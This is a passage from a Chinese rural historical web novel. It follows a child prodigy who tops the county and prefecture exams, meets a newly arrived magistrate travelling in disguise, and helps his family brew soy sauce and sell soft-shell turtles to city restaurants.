“前头是富哥?自打上回,我可有些日子没瞧见他了,还是过年那会儿碰过一次头。” “你们倒是一前一后来了,这肉你就别忙了,带回去给我大生叔下酒,彩云不是又怀了,正是要补身体的时候。” 赵来元就笑了,“你可别忙着拒绝,原也不是给你的,这不是给我宝儿侄子补身体考试么,你们家是鸡多,可猪没我家养的多,年前刚杀的,我爹说了,给宝儿好好补补,回头考个童生回来,也给咱们村再添添喜气!” 赵来贺这下没拒绝了,只是又让巧娘装了一篮子鸡蛋。 “咱门都别推辞,你也说了,我们家就这东西多,等下个月,里头的鸡雏大了,你只管来抓,给你媳妇炖鸡汤喝。” 赵来元也笑,“那我可不跟你客气了,又那老母鸡,你跟嫂子说说,也给我家彩云留着。” 考试前一天,赵老头跟张氏也来看了孙子,一起来的还有两个妯娌,不管是平日里怎么样,这种时候,都是打断骨头连着筋的关系,总不好一点表示都没有,不然是要被村里人戳脊梁骨的。 这里面没有二房,众人也不约而同忽略了这件事。 王三娘送了一碗酸菜,并一条鱼,听说还是大胖亲自抓的,陈莲送了一个钱袋,上面绣着一丛青竹,针脚细密,看得出来费了心思做的。 考试当天,赵丰年一大早就被巧娘塞了几张饼子,又吃了一个鸡蛋才放过他。 怕中途出恭耽误时辰,汤汤水水的是不好吃的。 这也是赵大伯告诫的,巧娘牢记在了心里。 童生试连考五场,天色微微亮就要入场,在里面待上一天,巧娘再三检察了赵丰年的考篮,确定干粮都带全了,这才放下心来。 五场考试,一天一场,好在每日是可以归家的,只需要自备中午一顿即可。 一连五天,赵来贺每日天还没亮就送儿子进县城,赵家村的人也渐渐都知道了,赵四家的儿子要去考科举了。 五天时间一晃就过。 县试是县令组织人手阅卷,录取与否几乎全凭县令喜好,张县令听到赵丰年今年下场的消息的时候也是十分满意,只是等赵丰年真正考完了,他又开始焦虑了。 他期望在自己任期内出现一个神童,这个期望就落在他认定处处不凡的赵家子身上,因此,这边最后一场刚结束封卷,张县令就忙着让人将赵丰年的卷子找出来。 “只要不是太差,我就给他录上去,他如今才八岁,那帮老的怎么好意思跟个孩子比。” 张县令这里想着,待看完赵丰年的卷子,顿时就仰天大笑了起来。 见其他人看过来,张县令摸了一把胡须,笑道,“真是天助我也,你们也来瞧瞧赵丰年这份考卷,他不得案首谁能得案首?” 其他人围过去看过,纷纷笑着祝贺张县令。 “难得他小小年纪,不仅通读四书五经,一手字也初见风骨。” “他能写出这样的答卷,想必府试定然也能榜上有名,本县出了个八岁的县案首,这事也要报到府城才是。” 这正是张县令想要的,“是极是极。” 本来县试过了并不会在赵家村掀起什么风浪,毕竟还要过了府试才行,前头又有了赵有志的例子,大家也不足为奇了。 只是张县令是铁了心要将“神童”的帽子牢牢扣在赵丰年头上,县试的榜刚写出来,立马就派人大张旗鼓去赵家村报信去了。 这下赵家村沸腾了。 “县案首啊!县太爷还亲自派人送信呢,旁人了没这待遇。” “啥是县案首?” “就是头名,一起考的人里就他最厉害!” “那可了不得。” “谁说不是,里面一起考的人最大的年纪还有三十好几的呢,愣是考不过一个八岁的孩子。” 赵家接到报喜的差人,也高兴得跟什么似的,一边忙着招呼人喝水,一边又忙着找红纸包铜钱。 送走差人后,村里人都来道喜,到了晚上,赵来贺巧娘只觉得脸都要笑僵了。 只是县试还只是个开始,等四月府试过了,那才能算是过了童生试,一家人依旧还要备考的。 是以,今年农忙,赵家照样得雇人帮忙,夫妻俩只围着儿子打转,就怕他身体吃不消。 府试最后一场要连续考两天,赵来贺巧娘担心不已,等终于考完,不光是赵来贺巧娘夫妻俩,就连赵丰年也松了口气。 童生试考的内容偏向于考记忆力,对赵丰年并没压力,他感到压力大的是巧娘每隔两天就要给他炖鸡汤,就是再爱喝,连喝了四五个月都受不了了,如今考试结束,他只觉得头一回那么渴望萝卜青菜。 第27章 第27章“我竟不知道你是这样守…… 等回到家,见到桌上一如既往的鸡汤,赵丰年顿时有些绝望。 看着巧娘期待的眼神,赵丰年努力压下反胃的感觉。 “娘,上回大伯娘送来的酸菜还有吗?” “有的,怎么想要吃酸菜了?” “忽然馋那一口了。” 巧娘忙去找酸菜,赵丰年替赵来贺也盛了一碗汤,“爹,你也吃,你跟娘这些日子都辛苦了,都要补补。” “嗨,你爹壮得跟牛一样,还用补啥!”话虽如此,赵来贺还是美滋滋接过了汤,看着儿子继续盛另外一碗,满眼的欣慰。 这时候巧娘也端着酸菜出来了,见儿子埋头扒酸菜拌饭,便笑了,“你喜欢这个,我回头跟你大伯娘学学怎么做,她腌的酸菜比旁人腌的味道好。” 府城这边,陈知府正组织人手阅卷,这些考卷需在五六日之内阅完排序,然后按比例录取上榜。 上个月陈知府就收到了来自临县的公文,不仅抄录了二月份临县县试的榜单,张县令更是很有心机地将前三名学子的考卷都封存好送了过来,陈知府一看那几张答卷,顿时就乐了。 “这个张谦,是怕我告他一个徇私呢。” 既然知道了张县令看中的人确有实力,陈知府也放心了,因此,这次府试,他同样一开始就让人将赵丰年的答卷找了出来。 府试还不用糊名,是以,赵丰年的答卷很快就被呈上了陈知府的书案。 于同知见陈知府连连点头,一脸赞赏,就知道张县令的打算是稳当了。 果然,不一会儿就听陈知府说道—— “此考卷通篇无一错字漏字,理解释意贴合准确,试贴诗也颇有意境妙趣,若无更好的,此子可为上等。” 底下人纷纷应是。 五月初的时候,赵家村再次响起了鞭炮声。 大家奔走相告。 赵四家的儿子,又得了“府案首”,如今是童生了,还是大夏朝开国后第一个八岁的童生! 至于虚岁九岁,这个时候自然是往小的说。 这样的大喜事,赵家肯定是要摆酒的。 赵来贺跟乡亲们说好农忙后请大家伙来家里吃酒,便赶着驴子上县城采 买了。 今年照样大丰收,去年秋收没有来得及堆肥的人家,今年比谁都上心,于是,夏收居然翻了一番,赵家如今是八亩旱田,两亩水田,在赵家村算是大户了,于是这酒也整整齐齐摆了两天。 宴席上,赵家几房都来了,就连王小红都带着三个孩子出现了。 自从上回赵青青提醒赵丰年后,赵丰年就没再见过她了,这回见面,却发现她红了一双眼,像是哭过。 “要不要尝尝这个?” 赵青青抬头,先看到了赵丰年,这才顺着话看到了他手上捧着的碟子。 那碟子整整齐齐码了一碟做成花朵形状的点心,碟子周围还有一圈红色,看起来格外喜庆。 “宝儿弟弟,还没恭喜你考上了案首呢。”赵青青挤出了个笑。 赵丰年索性领着她去了鸡棚。 这些日子,巧娘又孵化了一批鸡苗,眼下个个毛茸茸,都是嫩黄色,要多治愈就有多治愈。 果然,没过多久,赵青青脸上就露出了笑容,赵翠翠也玩得不亦乐乎。 “我爹被县城辞退了。”赵青青捧着一只唧唧叫的鸡崽,忽然说道。 赵丰年还真不知道这事,年前查到是赵来喜夫妻散布的谣言,赵来贺跟赵来喜兄弟俩聊了一场,闹得很不愉快,自打那后,他们两家算是彻底撕开了脸面。 赵青青上回提醒过他她爹起了害他们家鸡的念头,赵丰年也让赵来贺巧娘做好了防备,却并没有告发他,原因无他,就是考虑到他赵来喜还有一家子要养,更是不忍赵来贺更伤心难过。 谁知道,他们没去告发他,他自个儿倒是先被辞退了。 “我知道跟四叔没关系,宝儿你不是那种人,是我爹自己做了坏事,只是我想着,如果我也是男的就好了,这样我就带着翠翠离开这里,我们自个儿去县城做工,也省得天天在家里被娘骂赔钱货,宝儿,你那么聪明,能给我想个赚钱的法子吗?” 赵丰年却沉默了。 “没事,我就是问问,我能做的活本来就没有多少,等我再长大一点,那时候我力气也比现在大,就能找到活做了。” 赵丰年想了想,“如果你愿意,可以每天来我家,帮我娘喂一个时辰的鸡。” 赵青青笑了,“这有什么的,四婶要一个人养这么多鸡,我就搭把手的事,你就放心吧。” 晚上,赵丰年就跟巧娘说了这事。 巧娘当即就答应了。 “王小红也不怕作孽,两个多好的闺女儿,她也舍得糟践,你放心,娘保准不让她们饿着肚子,还给她们工钱!娘有钱呢!” 赵丰年却摇了摇头,“娘,我的意思是,就先不要给钱了。” 巧娘当即就露出了“我竟不知道你是这样守财奴”的表情,赵来贺也扭头看了儿子一眼。 赵丰年无奈,“我的意思是,咱们先给青青翠翠存着,等以后她们自己能做主了,再交给她们,否则,您觉得我二伯娘要知道了她们有工钱,这钱能落到她们手上吗?” “那肯定不能。”巧娘可太知道她这位妯娌了。 “所以,我们只说请她们帮忙,包她们一顿吃喝。” 巧娘点点头,“要不都说你脑袋瓜子好使呢,这个好,左右这吃的还能进两个孩子的肚子,谁也抢不走,不过,宝儿你得叫姐姐!” 赵丰年点头。 下次记得再说吧。 第二天,赵青青果然带着赵翠翠一大早就来到了赵丰年家,这会儿刚过了普通人家的饭点,可见赵青青是挑着时辰来的。 巧娘看着就心疼,不由分说,就给姐妹俩塞了两个肉包子。 赵青青不知所措,赵翠翠却抵挡不住包子的香味,下意识就咬了上去。 “真好吃,姐姐,可好吃了。”赵翠翠惊喜地拉着赵青青的衣服冲她道。 “青青你也吃,要干活不吃饱了怎么能行呢!别跟四婶客气!” 赵青青咽了口口水,“谢谢四婶。”又拉了拉妹妹。 赵翠翠连忙跟上,“谢谢四婶!” 巧娘看见她两个这么乖巧,只觉得更心疼了,“慢慢吃,不着急,灶上还有!” 赵青青自然不肯多吃,刚吃完就要去干活,巧娘拗不过她,只得先带姐妹俩去了棚屋。 两人在家里干惯了家务活,很快就上手了,麻利地打扫着棚屋,喂鸡收鸡蛋。 到了晌午,赵青青趁饭点前就提出了告辞,却被巧娘拦住了。 “你们来我这里帮忙,我给你们包一顿饭也是应该的,搁谁家都没有不让帮工吃饱饭的道理!” 赵青青有些心动,却坚持拒绝,“可是早上已经吃过了。” “早上那是婶娘给侄女的,中午这顿是雇主给帮工的,可不一样。” 赵青青努力将眼泪憋了回去,“谢谢四婶。” 这天赵青青带着妹妹回到家,就见她娘王小红杵在门口,一看就是特意等着两人的。 “怎么样?给了多少铜板?” 赵青青抿嘴,“娘,都说了,没说给钱,而且,四婶留我们吃晌午饭的,说是以后都给一顿饭。”她没说早上巧娘还给她们吃了大肉包子,不然她娘肯定让她们以后一大早就去她四婶家去吃早食,她已经打定主意明天稍稍晚些过去,避开她四婶家的早食了。 “呸,她柳巧娘面上装个菩萨似的,心都黑透了,帮她干大半天活就给一顿饭吃!” 可那一顿饭有菜又有肉,白米饭都让她们敞开吃,赵青青心里回味着。 王小红骂了几句又问,“那你瞧见她怎么孵鸡苗了吗?记下来了没有?” 这才是王小红得知赵丰年家要她两个女儿去帮忙干活并没有反对的主要缘故,她眼红赵四家孵小鸡的手艺,也不止是她,村里谁不羡慕,只是柳巧娘瞒得紧。 如今赵来喜丢了活计,儿子读书的花费都没有着落,见天的在家里闹,王小红便起了心思,前几日去吃席面没想到机会,刚巧赵丰年让她一双女儿去鸡鹏帮忙,王小红就有了主意。 赵青青将赵丰年请她们去帮忙的事跟王小红说了之后,就被耳提面命地要求她记住孵小鸡方法,她内心里十分抗拒,面上却先应了下来。 此时,面对她娘的逼问,赵青青摇头,“我们只帮忙喂鸡打扫,孵小鸡的地方不在一块儿,四婶只让我们在鸡棚里干活。” 就算知道了,她也不会告诉她娘的,宝儿一家对自己跟妹妹这么好,她不能这样做。 赵青青低着头不言语。 王小红却再次骂开了。 “就知道她柳巧娘是个奸的,连个孩子都要防备,我呸!后头留点心,她不让你去,你就不知道找机会偷偷去看嘛,尽蠢的。” 赵青青没回这话。 之后,赵青青依旧每日带着赵翠翠一起去赵丰年家帮忙,吃过晌午饭回来。 而临县今年夏粮产量全体翻一翻,临江府其他县年前也纷纷学起了堆肥,这回产量虽比不上临县,却也都有了增产,县衙门里,最近上下都喜气洋洋。 张县令去年的考评是优,为了顺利升一级,更是动用了以前的关系,不出意外,在秋收前应该就能收到派令。 八月的时候,赵丰年听说张县令升到了府城做了通判。 从正七品到正六品,连跳了两级,这是高升了。 第28章 第28章黑脸书生 赵丰年还挺喜欢张县令的。 临县其他人也差不多如此,毕竟,跟以前一上任就搜刮民脂民膏的县令相比,会推行堆肥、推广新农具的张县令可强太多了。 “就是不知道新来的县太爷是个什么样的。” 这也是最近顾家私塾常被提起的话题,读书人,总是格外关注官员的。 顾老秀才却找上了赵丰年,劝他入县学。 “多谢夫子。” 赵丰年深作一揖。 顾家有两位秀才,而他只是个童生,倘若他留下,顾家私塾必定名声更上一层,劝他去县学,无非是不想耽误他罢了。 赵丰年记下顾家父子的好意,回到家便跟赵来贺巧娘说了这事。 赵来贺巧娘自是高兴。 县学对县、府两试的前三名入学是不收束修的,每月还能发上一斗米,五百文铜钱。 听闻赵四家的儿子去县城里读书,不仅不花费家里钱,还能往家里又拿米又拿钱,赵家村里一众有儿子的人家当即手就痒了 。 各家挨了一顿打的孩子再次捡起了对赵丰年的恨意。 顾家村顾家私塾空前绝后的热闹起来,各村都想把儿子往顾家私塾送,指望下一个“神童”就是自家的。 这其中甚至还有隔壁县跟县城的人。 顾小秀才哭笑不得地应付完热情的村民及县城的员外老爷们,对老神在在的父亲拱手。 “父亲当日所言,如今初见端倪了。” 顾老秀才笑着喝了口茶水,“你且看着,那孩子,路还远着呢。” 挑了一个好日子,赵来贺跟巧娘一起赶着驴车送赵丰年去县学报道。 “今天天不错,不冷也不热的。”话虽如此,巧娘还是给赵丰年带上了斗笠,用她的话来说,“读书人就是要讲究些脸面,不然那戏文里说什么白面书生呢。” 赵丰年告诉他娘那“白面书生”也不是什么夸人的话,两人对此展开了讨论。 “豁,还真有黑脸的书生!” 刚说到一半,巧娘忽然惊呼起来。 赵丰年顺着巧娘的目光看过去,果然在路边见到一个黑面书生。 至于如何知道他是一个书生,其实很好认,那人头戴纶巾,身着长袍。 只是也不知道那老兄经历了什么,身上的袍子破破烂烂,只依稀看得出来此前应是件青色的袍子。 “宝儿啊,这读书也不尽好,你看他,多可怜,连一身好衣裳都买不起。”巧娘不免担忧了起来。 赵丰年正要说话,眼神却看见了那人的靴子,忽然就笑了。 “爹,娘,我们送送他吧,他独自一人走在官道上,又如此狼狈,说不定是进城投亲。” 此时,那人听见几人说话也看了过来。 正脸一瞧就更黑了,赵丰年忍住笑意,朝他拱手。 “足下可是要进城?我们也正要去县城,若不嫌弃,不如一起做个伴?” 只见那人刚才还茫然涣散的眼睛一瞬间就亮了起来,活像家里的小黄狗。 赵丰年心想,就是颜色不对。 “进进进!”他刚说完,许是看见了车上的垫子,又不好意思地拍了拍身上的袍子,“我多日未曾沐浴更衣,怕是会弄脏你们的车。” “嗨,这有啥,农家拉货的,不碍事,只管上来!”儿子想做的事,赵来贺巧娘就绝无异议,而且这也是积善行德的好事。 那人一双眼更亮了,赵丰年觉得若不是场合不对,他也许想哭一场。 路上一聊,才知道黑脸书生姓顾,叫顾子升,路上同书童家丁走散了,这才一个人这般形容狼狈。 赵来贺巧娘听得十分同情,巧娘当即送背篓里掏出了水袋跟包子。 “家里做的,不值几个钱,还是热的,离县城还有些路程,你先垫垫肚子。” 顾书生忙接了过来,咕咚咕咚喝了水,又连着吃了三个肉包子,这才停了下来,看的巧娘一脸慈爱。 “还有呢,只管吃,我们是去县学,登记完就回村里了,不担心吃食。” 顾子升推说自己饱了,这才问起了赵丰年一家来。 赵丰年心想,不怪这位这副模样,上了车才想起来打听消息,被别人卖了都不知道。 于是赵来贺巧娘便将儿子如何如何读书,如何成为了案首,今日又如何来县城去县学,都跟新认识的小顾说了一遍。 赵来贺巧娘本来觉得投缘,又想要炫耀儿子,谁知道对方很配合,一会儿惊讶,一会儿赞叹,以至聊得尽兴,他们甚至将赵丰年发明了新农具跟堆肥之法都说了出去。 “……不是我自夸,我们家养的鸡就是比别家的壮实,小顾你回头家里要是想要抱鸡养,就来婶子家,婶子给你挑最活泼的!” 见话题都扯到母鸡抱窝了,赵丰年开口了。 “爹,娘,听说县衙隔壁那家烧饼味道极好,我们去县学会经过吗?” 赵来贺对县城熟悉,“这没啥,咱们从前头大道赶车过去就行。” 到了卖饼的地儿,顾子丰便提出了告辞,巧娘给他硬塞了两个烧饼才放他走,直把孩子感动得险些又要落泪了。 赵丰年看了眼他的背影,并没说什么。 这厢去县学报了名,领了这个月的一斗米跟五百文铜钱,一家人又在县城买了些生活用品,这才回村。 自明日起,赵丰年就要每日前往县城读书了。 赵丰年没想到,第二天就在县学再次看见了昨日的黑脸书生,只不过这此他穿着一声绿色的官袍。 “这是顾大人,咱们临县新任的县令大人,顾大人爱民如子,尤为关心大家课业,昨日才到,今日就来看大家了。” 授课的李举人跟学子们介绍。 学子们自当是行礼,赵丰年也不例外,只是当他抬头的时候,就见脸黑的顾大人冲自己挤眉弄眼。 李举人还想让新县令为学子们讲几句,就见新县令继续巡视其他地方了。 县学会包晌午一顿午食,不过这里大多数的学子家就在县城,中午并不在县学用,赵丰年是老老实实交了伙食费,一个月三十文,一荤一素,已经算很不错了。 许是格外有缘,到了饭堂,赵丰年再次看到了新任的顾大人,身边还跟着县学的几位秀才举人。 赵丰年没打算过去,自顾自吃了起来,等再抬头的时候,却见到刚才还被众星捧月的顾大人坐在了自己面前。 “怎么样,看到我是不是很惊讶?” 赵丰年抬眼看了他一眼,吃了一口白米饭。 顾子升当即垮了一张脸,“你是不是早就知道了?也是,他们都说你是神童呢,你什么时候发现的?” “看见你的第二眼?” 顾子升疑惑。“一般这个时候不应该是说第一眼吗?” 赵丰年微笑,“也许,是因为一般的县令不会乔装成乞丐来上任吧。” 顾子升顿时哑口无言。 “其实,我是真的跟家丁仆从走散了,并未欺骗你们。” “嗯,看得出来。” “所以,你真的是那个想出了连枷跟堆肥之法的神童?我昨天还以为你爹娘夸大其辞呢,张大人对你十分推崇,跟我说了很多你的事迹。” 赵丰年放下筷子,“所以,顾大人特意过来夸我的?” 顾子升一愣,思索一番,这才说明来意,“我老师说,我来到临县第一件要紧事就是秋收,但是昨日张大人跟我说,自从有了堆肥之法,临县的粮税都是翻一翻的,我只用盯着就成,这个堆肥之法是什么?你怎么想出来的?过几日我要去下面的村里巡视,到时候你可以教我吗?” 赵丰年没想到这位顾大人是这个路子。 他想了解的事,衙门里自有一众想在新县令面前露脸表现的人,如何能轮得上自己,他不过是个八岁的孩子罢了,嗯,虚岁也只有九岁。 过了几日,新任的顾县令果然巡视了乡里。 “瞧着挺俊一小伙子,就是那脸黢黑黢黑的。” “可不是,那天他冲我一笑,嘿,那口牙倒是挺白,吓得我一哆嗦!” “还问我堆肥呢,瞧上去不像是能干农活的,啥地方能晒成这样?” 赵丰年听到赵家村的人讨论新县令,只笑了笑就回家了。 只是回到家了,看到那个黢黑一张脸坐着冲自己笑的人,他就笑不出来了。 不过,果然是一口大白牙。 “宝儿,瞧谁来了!”巧娘看到儿子,十分冲他招呼。 “宝兄弟,冒昧登门,叨扰了。” 赵丰年打了个哆嗦。 “……别,叫我赵丰年就成。” 还宝兄弟,他可不姓贾。 “你爹呢?又去地里了 ?” “没呢,去池子那边了。” 今年池子里的甲鱼族群扩张显著,时不时就能在池塘边的地上看到几只遛弯的甲鱼,继一次路过池塘被甲鱼险些咬了脚趾,又在鸡鹏外面踩到一只甲鱼后,一家人终于意识到,那个池塘已经困不住甲鱼家族了。 鱼大了,也是时候拉出去买了。 去年忙着教大家堆肥没顾上,今年无论如何都要把这件事办了。 “你们先聊,小顾今天就在家里吃饭,我去逮只鸡,晚上炖鸡汤!” 赵丰年看了眼乐呵呵的“小顾”,显然,他还没告诉他娘他的真实身份。 第29章 第29章有钱公子“小顾” 巧娘走后,顾子升这才解释。 “我这一路上巡视过来,才知道你们家确实是做了这么多事,就想着上你们家来看看,你上回不告而别,我只能自己找来了。” 合着还是他错了? 赵丰年呵呵。 饭桌上,巧娘赵来贺一个劲地给“小顾”盛鸡汤,盛肉。 赵丰年看都不看一眼,舀了一大勺酸菜,专心拌饭。 这一幕险些把顾子升感动得热泪盈眶。 赵丰年嘴角抽搐,不用想就知道他在脑补什么。 “叔,婶,你们不用特意给我吃肉,自己吃酸菜,你们也吃,我吃不了这么多的。” 巧娘看了眼儿子,立马明白了,“哎呀,小顾你误会了,我家宝儿啊,就喜欢吃酸菜,不喜欢喝鸡汤的!” 流浪过一段时间的顾子升也不是什么都不知道的,农户家一年到头碗里都没什么油水,怎么可能会只喜欢酸菜,不喜欢吃肉喝汤的。 当即又是感动又是惭愧。 赵丰年瞟了他一眼。 只见那双酷似家里小黄的眼睛闪烁着泪光。 得,误会更深了。 顾子升跟赵来贺聊了很久的堆肥,最后走的时候还意犹未尽,提着巧娘硬塞的两只鸡,被找过来的下属送上了马车。 巧娘这时候才回过神来。 “这小顾……” 赵丰年看着他娘。 “还是个有钱公子呢!” 赵丰年:“……” 天太黑了,看不大清衙役服也是有的。 准备卖甲鱼的时候,赵丰年想起了酱油。 此前他忙着科举考试,都交给了他娘,已经很久没过问了。 赵丰年跟他爹说起了这事,赵来贺一拍巴掌,“你不说我差点忘记了,宝儿啊,那东西怕是坏了,都长毛了啊,还是绿毛!我昨日个还想跟你娘说得扔了呢。” 若不是相信儿子,加上又赚了点小钱,他们可舍不得拿好好的豆子给赵丰年浪费,那什么酱油的做起来可费事,又是泡豆子,又是蒸,晾干了还要加细面跟面曲子,细面可是要三十五文钱一斤,他们家虽说如今也算富裕了,却还没到顿顿吃细粮的程度,也是大夫说孩子要吃点软面食买来剩下的,结果,失败了两次,最后一点全都在那框绿毛豆子里了,他媳妇还把那绿毛豆子又加水又加盐的,见天地放墙角晒。 赵丰年无奈笑了,之前他娘还跟他说豆子长了绿毛不要让他爹知道,省得他心疼粮食,如今那几缸还在屋脚晒着,谁知道他爹竟早就知道了。 巧娘一直记得儿子的话,天天搅豆酱,终于黄天不负苦心人,小半年过去了,得了三大缸酱,只是—— “这酱闻起来倒是香的,只是瞧上去不大好看,真要带去府城卖?怕是不好卖的。” 为了把池子里的鳖卖出去,赵来贺决定去一趟府城,他以前偶然猎到了好货也会去府城卖个好价钱,如今为了“黄金肉”跑一趟,一点都不带慌的。 只是宝儿提议将酱油带一小坛去,问问酒楼里收不收,他就有点把握不准了。 毕竟这瓮里豆子经过三个月的的晒晾,好像已经没多少水了。 “爹,还要加水的,我让娘去准备了。” 说话间,柳巧娘就将水桶里晾凉的开水搬过来了,“六斤水呢,加了一斤盐,这东西太废盐了。” 这个时代的盐还是很贵的,跟布匹一样,那都是能当钱用的。 也是巧娘现在赚钱了,不然可舍不得这样放盐的。 将盐水都倒进瓮里,搅拌均匀,还要再拿干净的麻布过滤一遍渣才行。 赵来贺跟柳巧娘两个人一起行动,最后装满了一个大坛子,并八个小坛子。 晚上,酱油就上了桌。 为了试酱油,根据赵丰年给的菜谱,柳巧娘特意宰了只仔鸡。 将仔鸡剁成小块,烧锅,炼出鸡油,奢侈地放一小撮糖,将鸡块倒进去抄成焦糖色,再加一点米酒一起抄,米酒也炒干后,加入小半碗酱油,继续炒,炒出香味,加一瓢热水焖煮一刻钟,最后再加上一点盐。 鸡还在锅里就香得不行,事实上,就在将酱油倒进去翻炒的那一瞬间,香味就已经让人受不了了,实在是太香了! 本来巧娘听赵丰年读菜谱的时候,还咂舌这菜谱八成只有天上的神仙人人物才能吃得起,又是糖又是米酒的,这样奢侈的吃法,普通人家哪里敢吃,怕是一顿就把几个月的伙食费吃没了。 等一家人坐到桌上,才尝了一口,巧娘就知道了,这东西确实只有神仙才配吃的了,太好吃了! 这东西绝对不愁卖! 赵丰年来了这么久,虽然因为赵来贺能猎兔子没少吃肉,但是那些拿水煮一下,撒点盐的肉实在是不敢恭维,至于鸡汤,他现在最听不得的就是鸡汤。 今天这道炒菜倒是让一家人都吃了个肚儿圆。 “他娘,这炒鸡,哦哦,红烧鸡,要不明儿个再做一回吧?”赵来贺吃得十分满足,甚至如果不是巧娘要留着那米酒走亲戚,他还挺想再喝点小酒。 柳巧娘瞪了他一眼,“还吃呢,鸡都没长大,今天要不是为了试着酱油,我可舍不得,都是下蛋的鸡,哪能这么霍霍的。” “那不是还有成鸡?还有公鸡呢。” “公鸡就十来只,还要留着配种蛋呢,成鸡定给县城了,农忙后保不齐都不够卖的。” 赵来贺有些失望。 赵丰年看了眼他爹,跟巧娘说道:“娘,不然明天再试试甲鱼吧,这甲鱼红烧炖汤都好吃呢。” 赵来贺当即眼睛一亮,“对对对,得试试,咱们先做来尝尝,尝过了味道,回头去了府城也好跟人家说道说道啊!” 柳巧娘一想也是这么个理,当即没再反对了。 第二天,柳巧娘就剁了两只甲鱼,一只红烧,一只炖汤。 别说,真不愧是能卖上五两银子的“黄金肉”,红烧甲鱼鲜香可口,甲鱼汤则是鲜得能把舌头吞下去,一家人再次肯定,甲鱼也不愁卖! 趁着赵丰年休息,一家人决定去一趟府城。 去府城路上得小半天,往常赵来贺一个人也就罢了,赶夜路也不算什么,但是这回带着媳妇儿子,就不能赶夜路,于是赵来贺又跑了一趟岳家,请大舅哥柳大来家里帮忙看顾两天,柳大自是应下不提。 一家人背着背篓,赶了驴车一大早就出了村子,因着背篓盖得严实,倒也没人瞧见装的是甲鱼。 这么一趟,过了晌午才到府城。 这是巧娘跟赵丰年第一次来府城,只觉得什么都新鲜,巧娘听柳父说过府城,一直向往府城的繁荣,只是如今正到了这里,却有些拘谨,赵来贺倒是因为买卖猎物来过几回熟悉了,先带着一家人去了一家面摊,要了两碗荤面,一碗素面。 荤的六文钱一碗,素的要四文。 “六文能买一只鸡苗了呢。”习惯了节俭,巧娘有些舍不得,心想一会儿面上来她吃素 的,给男人孩子补补就成。 : “这家面实在,酸菜也够味。” 老板听了这话乐了,“客人赏脸了,咱们家这在里摆面摊二十多年了,这酸菜可是我家独家秘方,既然客人喜欢,一会儿给您多加些!” 赵来贺闻言也乐呵呵地跟老板道谢。 等面上来,赵来贺率先将酸菜素面搬到自己面前来,一边招呼母子俩吃面,“趁热吃,好吃着呢!” 柳巧娘无奈,正要动筷子,就见儿子用汤匙正从自己碗里往赵来贺碗里舀肉丝,因肉丝不多,他还特意用筷子挑到了勺子里再给赵来贺舀,当即又是感动又是心疼。 “宝儿自己吃,娘给你爹分就成了。”说完,直接舀了几根肉丝给赵来贺,赵来贺看看这个,看看那个,只觉得心里一片温暖。 “往前我来府城去找过一回那鼎香楼,他家收各种野味山珍呢,年年都要雇一批猎户上山打麋子,散户的东西,只要好都收,说不定这甲鱼人家也要。” 那老板正收拾碗筷,听见这话便问,“客官说的甲鱼,可是那团鱼?” 赵来贺柳巧娘哪里知道,正懵着呢,赵丰年回了,“正是团鱼,因为它身带硬甲壳,我们那边都管它叫甲鱼。” 许是之前赵来贺夸赞他家酸菜,又见赵丰年小小年纪说话就口齿清晰,老板也乐得说几句,“要我说啊,你们想卖团鱼,不如去如意楼问问。这如意楼啊,一直想盖过鼎香楼,这不,前些日子又雇了一批人上山下水地去找稀罕的食材,你们若有捉到了那团鱼,说不定能买个好价钱呢。” 谢过面摊老板好意,一家人带着团鱼还有一坛酱油便去了鼎香楼。 倒不是不信面摊老板,而是这边离鼎香楼最近,二来嘛,这做生意自然是要货比三家的。 一家人这边来到鼎香楼,果然听说是收团鱼的,表面来意后,一家人就被小二领到了后院。 后院此时正嘈杂着,只见不少猎户带着猎物候着,也有一两个带了两盆甲鱼的。 那掌柜的正跟一个猎户讨价还价,结了钱后这才朝这边走过来,瞅了一眼他们的背篓,只说给三两银一只。 第30章 第30章买只牛 赵来贺巧娘你看看我,我看看你,猛然听到能卖到三两银子他们当即便心动了,可又想到儿子之前说过,这甲鱼可是能卖到“五两银”的,他们家的甲鱼这么个大,总觉得不甘心,一番纠结后,还是决定多问几家。 鼎丰楼掌柜姓牛,对此也见怪不怪了,只说让他们自己决定,转头又去看其他人带来的东西了。 赵丰年也觉得他们家的甲鱼卖相好,个头也比另外两人带来的甲鱼大,就算是按个数卖,也不该卖同一个价格。 那位牛掌柜的要么是不识货,要么就是故意压价,作为这么大一个酒楼的掌柜,赵丰年可不觉得牛掌柜不识货。 出了鼎香楼,一路上几人见到食肆或酒楼都会进去问,却再没有一家给的价格高于鼎香楼的。 “要不咱们还是回去卖给鼎香楼?”也是费了那么多精力的,巧娘有些担心砸手里了。 赵来贺倒是很有信心,“不急,不是还有如意楼嘛,来都来了,多少去问问。” 如意楼不愧是能跟鼎香楼打擂台的酒楼,装潢甚是金碧辉煌,只不过瞧上去生意却没鼎香楼那么好。 如意楼的掌柜姓孙,听闻他们有新鲜的团鱼,孙掌柜亲自领着他们去了后院,等打开背篓一瞧,满眼的惊喜。 “个头这么大,品相这么好的团鱼我还是头一回见到,你们有多少团鱼,我们如意楼都要了!” 赵来贺巧娘也惊喜不已,那池子里的甲鱼总算是不怕没销路了。 赵丰年见他爹娘忙着高兴,只得自己问了。 “掌柜伯伯,既然我们家团鱼这么好,你打算出什么价呢?” 孙掌柜稀罕地看了眼他,“你这小娃娃倒是胆子大,都是实诚人,不讲那些虚的,我看中你们这团鱼,我出二两银子!” 巧娘看了眼赵来贺,赵来贺也有些失望。 赵丰年再问,“孙掌柜说的二两,可是按斤?” 孙掌柜笑了,“自然是按斤,我们如意楼做生意一向童叟无欺,你们尽管放心。” 这下赵来贺巧娘惊喜了,他们家甲鱼养得肥,一只都有两斤了,二两银子一斤,岂不是一只能卖到四两多! “掌柜伯伯,你们酒楼真的有多少要多少嘛?” “自然是真的,我还能骗你一个小孩子吗?”孙掌柜这时候也琢磨过劲儿来了,八成是这家人有什么法子能养团鱼呢,他当然不会去问人家赚钱手艺,不过如果真的能一直供货,有个稳定的货源,对于他们酒楼而言,绝对是好事,而且团鱼这东西,又叫甲鱼,富贵人家吃个团圆滋补,那考科举的举子就吃个头彩,加上又只能吃一个秋天,限期推出,总是能吸引很多食客。 孙掌柜这么想,也这么说了,赵家三人自是愿意同如意楼定契,不过却不是孙掌柜口中的死契。 